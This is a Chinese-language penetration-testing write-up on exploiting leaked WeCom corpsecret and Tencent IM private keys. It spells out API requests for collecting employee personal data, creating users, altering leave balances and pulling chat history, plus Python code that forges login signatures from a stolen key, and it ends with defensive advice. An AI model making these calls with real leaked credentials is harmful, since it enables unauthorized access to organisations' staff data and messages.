企业微信+腾讯IM密钥泄漏利用
字数 954 2025-08-29 08:32:01
企业微信与腾讯IM密钥泄漏利用分析
一、背景概述
本文档详细分析企业微信access_token和腾讯IM密钥泄漏后的利用过程,涵盖从信息收集到权限提升的完整攻击链。
二、企业微信access_token泄漏利用
1. 获取access_token
通过泄漏的企业ID(corpid)和应用密钥(corpsecret)获取access_token:
https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=YOUR_CORPID&corpsecret=YOUR_CORPSECRET
返回示例:
{
"access_token": "eQq8YjcgxHOtk39Xu4d...",
"expires_in": 7200
}
2. 验证access_token权限
使用腾讯官方工具查询access_token权限:
https://open.work.weixin.qq.com/devtool/query
3. 信息收集API
获取企业微信API域名IP段
GET https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=ACCESS_TOKEN
获取部门列表
GET https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=ACCESS_TOKEN
获取部门成员(简略信息)
GET https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=ACCESS_TOKEN&department_id=1&fetch_child=1
获取部门成员详情(完整信息)
GET https://qyapi.weixin.qq.com/cgi-bin/user/list?access_token=ACCESS_TOKEN&department_id=1&fetch_child=1
返回数据包含:姓名、手机号、头像、企业微信二维码、邮箱等敏感信息。
获取单个部门详情
GET https://qyapi.weixin.qq.com/cgi-bin/department/get?access_token=ACCESS_TOKEN&id=DEPARTMENT_ID
获取加入企业二维码(需管理权限)
GET https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=ACCESS_TOKEN
4. 受限操作
普通应用的secret仅有只读权限,以下操作需要通讯录同步助手或第三方通讯录应用的权限:
- 创建成员
POST /cgi-bin/user/create?access_token=ACCESS_TOKEN
{
"userid": "test123",
"name": "测试用户",
"department": [1],
"mobile":"13888888888"
}
5. 考勤相关API
获取企业所有打卡规则
GET https://qyapi.weixin.qq.com/cgi-bin/checkin/getcorpcheckinoption?access_token=ACCESS_TOKEN
获取成员假期余额
POST /cgi-bin/oa/vacation/getuservacationquota?access_token=ACCESS_TOKEN
{
"userid": "USERID"
}
修改成员假期余额(需权限)
POST /cgi-bin/oa/vacation/setoneuserquota?access_token=ACCESS_TOKEN
{
"userid": "USERID",
"vacation_id": 1,
"leftduration": 480,
"time_attr": 1,
"remarks": "修改备注"
}
三、腾讯IM密钥泄漏利用
1. 泄漏信息示例
qq.im.sdkappid=1400571601
qq.im.privateKey=PRIVATE_KEY
qq.im.identifier=ADMIN_USER
qq.im.apiver=2
qq.live.bizid=BIZID
2. 生成UserSig
UserSig是用户登录即时通信IM的密码,使用Python生成:
import TLSSigAPIv2
api = TLSSigAPIv2.TLSSigAPIv2(SDKAPPID, 'PRIVATE_KEY')
sig = api.gen_sig("USERID")
print(sig)
3. 关键API利用
获取App中的所有群组
https://console.tim.qq.com/v4/group_open_http_svc/get_appid_group_list
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
&contenttype=json
拉取运营数据
https://console.tim.qq.com/v4/openconfigsvr/getappinfo
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
下载最近消息记录
https://console.tim.qq.com/v4/open_msg_svc/get_history
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
&contenttype=json
获取服务器IP地址
https://console.tim.qq.com/v4/ConfigSvc/GetIPList
?sdkappid=SDKAPPID
&identifier=ADMIN_USER
&usersig=USERSIG
&random=RANDOM_NUM
&contenttype=json
4. 在线验证工具
腾讯官方提供在线API测试工具:
https://tcc.tencentcs.com/im-api-tool/index.html
四、防御建议
-
敏感信息保护:
- 严格保护corpid、corpsecret、privateKey等敏感信息
- 避免将敏感信息硬编码在配置文件中
-
权限控制:
- 按照最小权限原则分配应用权限
- 区分只读应用和管理应用
-
监控与审计:
- 监控access_token的使用情况
- 定期审计API调用日志
-
密钥轮换:
- 定期更换corpsecret和privateKey
- 及时撤销泄漏的密钥
-
安全意识:
- 加强开发人员的安全培训
- 避免在代码仓库中提交敏感信息
五、总结
本文详细分析了企业微信和腾讯IM密钥泄漏后的利用方法,展示了从信息收集到权限提升的完整攻击链。在实际渗透测试中,本地信息收集往往能发现这类敏感信息,而通过官方API文档可以进一步扩大战果。防御方面需要从信息保护、权限控制和监控审计等多方面入手。